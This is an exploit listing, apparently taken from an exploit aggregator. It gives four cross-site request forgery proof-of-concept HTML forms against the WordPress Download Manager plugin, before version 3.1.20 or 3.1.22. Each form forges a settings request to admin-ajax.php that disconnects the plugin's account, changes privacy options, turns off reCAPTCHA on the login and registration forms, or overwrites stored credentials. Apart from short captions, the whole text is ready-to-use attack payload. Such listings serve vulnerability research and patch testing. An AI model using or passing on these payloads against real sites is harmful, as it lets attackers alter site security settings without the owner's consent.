Share
## https://sploitus.com/exploit?id=WPEX-ID:2A9331B1-1D43-4729-BB0A-9198FFE3D703
To disconnect from WPDownloadManager.com and reset all related options (such as acces token, login details etc) [v < 3.1.20]
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpdm_settings" />
      <input type="hidden" name="section" value="plugin-update" />
      <input type="hidden" name="logout" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


To change the privacy settings  [v < 3.1.20]
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="task" value="wdm_save_settings" />
      <input type="hidden" name="action" value="wpdm_settings" />
      <input type="hidden" name="section" value="privacy" />
      <input type="hidden" name="__wpdm_noip" value="1" />
      <input type="hidden" name="__wpdm_delstats_on_udel" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


To disable recaptcha (via the privacy settings handler)  [v < 3.1.20]
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="task" value="wdm_save_settings" />
      <input type="hidden" name="action" value="wpdm_settings" />
      <input type="hidden" name="section" value="privacy" />
      <input type="hidden" name="_wpdm_recaptcha_site_key" value="" />
      <input type="hidden" name="__wpdm_recaptcha_regform" value="0" />
      <input type="hidden" name="__wpdm_recaptcha_loginform" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Change the WPDownloadManager.com login info [v < 3.1.22]
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpdm_settings" />
      <input type="hidden" name="section" value="plugin-update" />
      <input type="hidden" name="__wpdm_suname" value="aa" />
      <input type="hidden" name="__wpdm_supass" value="ddew" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>